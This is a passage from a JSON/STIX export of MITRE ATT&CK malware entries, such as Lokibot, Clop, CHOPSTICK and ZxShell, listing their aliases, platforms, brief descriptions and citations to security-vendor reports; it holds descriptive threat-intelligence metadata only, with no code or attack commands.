its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Kessel"],"type":"malware","id":"malware--c984b414-b766-44c5-814a-2fe96c913c12","created":"2020-07-16T15:14:25.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0487","external_id":"S0487"},{"source_name":"ESET ForSSHe December 2018","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-19T14:32:39.426Z","name":"GrimAgent","description":"[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["GrimAgent"],"type":"malware","id":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","created":"2021-07-16T18:19:25.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0632","external_id":"S0632"},{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["LookBack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","type":"malware","created":"2021-03-01T14:07:36.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0582","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0582"},{"source_name":"LookBack","description":"(Citation: Proofpoint LookBack Malware Aug 2019)"},{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."},{"source_name":"Dragos TALONITE","url":"https://www.dragos.com/threat/talonite/","description":"Dragos. (null). TALONITE. Retrieved February 25, 2021."},{"source_name":"Dragos Threat Report 2020","url":"https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770","description":"Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021."}],"modified":"2021-04-26T13:29:32.449Z","name":"LookBack","description":"[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-09T20:26:27.831Z","name":"STEADYPULSE","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["STEADYPULSE"],"type":"malware","id":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","created":"2024-02-09T20:19:34.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1112","external_id":"S1112"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Clop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","type":"malware","created":"2021-05-10T23:19:38.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0611","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0611"},{"source_name":"Clop","description":"(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)"},{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."},{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}],"modified":"2021-10-15T00:18:17.636Z","name":"Clop","description":"[Clop](https://attack.mitre.org/software/S0611) is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. [Clop](https://attack.mitre.org/software/S0611) is a variant of the CryptoMix ransomware.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)(Citation: Unit42 Clop April 2021) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NetTraveler"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e","type":"malware","created":"2017-05-31T21:32:25.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0033","external_id":"S0033"},{"source_name":"Kaspersky NetTraveler","description":"Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka ‘Travnet’). Retrieved November 12, 2014.","url":"http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf"}],"modified":"2020-03-30T17:11:38.961Z","name":"NetTraveler","description":"[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-19T13:19:32.736Z","name":"YAHOYAH","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["YAHOYAH"],"type":"malware","id":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","created":"2019-06-17T18:49:30.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0388","external_id":"S0388"},{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Lokibot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","type":"malware","created":"2020-05-14T17:31:33.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0447","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0447"},{"source_name":"Lokibot","description":"(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021)"},{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."},{"source_name":"Morphisec Lokibot April 2020","url":"https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode","description":"Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020."},{"source_name":"CISA Lokibot September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-266a","description":"DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021."},{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T17:43:38.029Z","name":"Lokibot","description":"[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CallMe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","type":"malware","created":"2017-05-31T21:32:52.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0077","external_id":"S0077"},{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2020-03-30T15:16:18.880Z","name":"CallMe","description":"[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ROCKBOOT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cba78a1c-186f-4112-9e6a-be1839f030f7","type":"malware","created":"2017-05-31T21:33:07.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0112","external_id":"S0112"},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"}],"modified":"2021-02-09T15:16:26.188Z","name":"ROCKBOOT","description":"[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CloudDuke","MiniDionis","CloudLook"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cbf646f1-7db5-4dc6-808b-0094313949df","type":"malware","created":"2017-05-31T21:32:38.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0054","external_id":"S0054"},{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"},{"url":"https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/","description":"Lozhkin, S.. (2015, July 16). Minidionis – one more APT with a usage of cloud drives. Retrieved April 5, 2017.","source_name":"Securelist Minidionis July 2015"}],"modified":"2020-03-30T15:21:58.231Z","name":"CloudDuke","description":"[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group"],"x_mitre_aliases":["Egregor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","type":"malware","created":"2020-12-29T21:32:27.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0554","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0554"},{"source_name":"Egregor","description":"(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)"},{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."},{"source_name":"Security Boulevard Egregor Oct 2020","url":"https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/","description":"Meskauskas, T.. (2020, October 29). Egregor: Sekhmet’s Cousin. Retrieved January 6, 2021."}],"modified":"2021-10-14T21:39:11.008Z","name":"Egregor","description":"[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-05T18:24:31.652Z","name":"PoetRAT","description":"[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.3","x_mitre_aliases":["PoetRAT"],"type":"malware","id":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","created":"2020-04-27T20:21:16.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0428","external_id":"S0428"},{"source_name":"Dragos Threat Report 2020","description":"Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021.","url":"https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770"},{"source_name":"Talos PoetRAT April 2020","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020.","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html"},{"source_name":"Talos PoetRAT October 2020","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T17:51:20.403Z","name":"CHOPSTICK","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).","x_mitre_platforms":["Windows","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.3","x_mitre_contributors":["Richard Gold, Digital Shadows"],"x_mitre_aliases":["CHOPSTICK","Backdoor.SofacyX","SPLM","Xagent","X-Agent","webhp"],"type":"malware","id":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","created":"2017-05-31T21:32:19.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0023","external_id":"S0023"},{"source_name":"SPLM","description":"(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)"},{"source_name":"Xagent","description":"(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)"},{"source_name":"X-Agent","description":"(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)"},{"source_name":"webhp","description":"(Citation: FireEye APT28 January 2017)"},{"source_name":"CHOPSTICK","description":"(Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)"},{"source_name":"Backdoor.SofacyX","description":"(Citation: Symantec APT28 Oct 2018)"},{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Symantec APT28 Oct 2018","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:33:38.488Z","name":"FELIXROOT","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.2","x_mitre_aliases":["FELIXROOT","GreyEnergy mini"],"type":"malware","id":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0267","external_id":"S0267"},{"source_name":"GreyEnergy mini","description":"(Citation: ESET GreyEnergy Oct 2018)"},{"source_name":"FELIXROOT","description":"(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)"},{"source_name":"ESET GreyEnergy Oct 2018","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"},{"source_name":"FireEye FELIXROOT July 2018","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-23T15:27:10.501Z","name":"ZxShell","description":"[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ZxShell","Sensocode"],"type":"malware","id":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","created":"2019-09-24T12:59:57.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0412","external_id":"S0412"},{"source_name":"ZxShell","description":"(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)"},{"source_name":"Sensocode","description":"(Citation: Talos ZxShell Oct 2014)"},{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T21:08:18.197Z","name":"SLIGHTPULSE","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) is a web shell that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SLIGHTPULSE"],"type":"malware","id":"malware--d1008b78-960c-4b36-bdc4-39a734e1e4e3","created":"2024-02-09T19:21:04.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1110","external_id":"S1110"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NDiskMonitor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0272","external_id":"S0272"},{"source_name":"NDiskMonitor","description":"(Citation: TrendMicro Patchwork Dec 2017)"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-30T17:07:15.145Z","name":"NDiskMonitor","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro 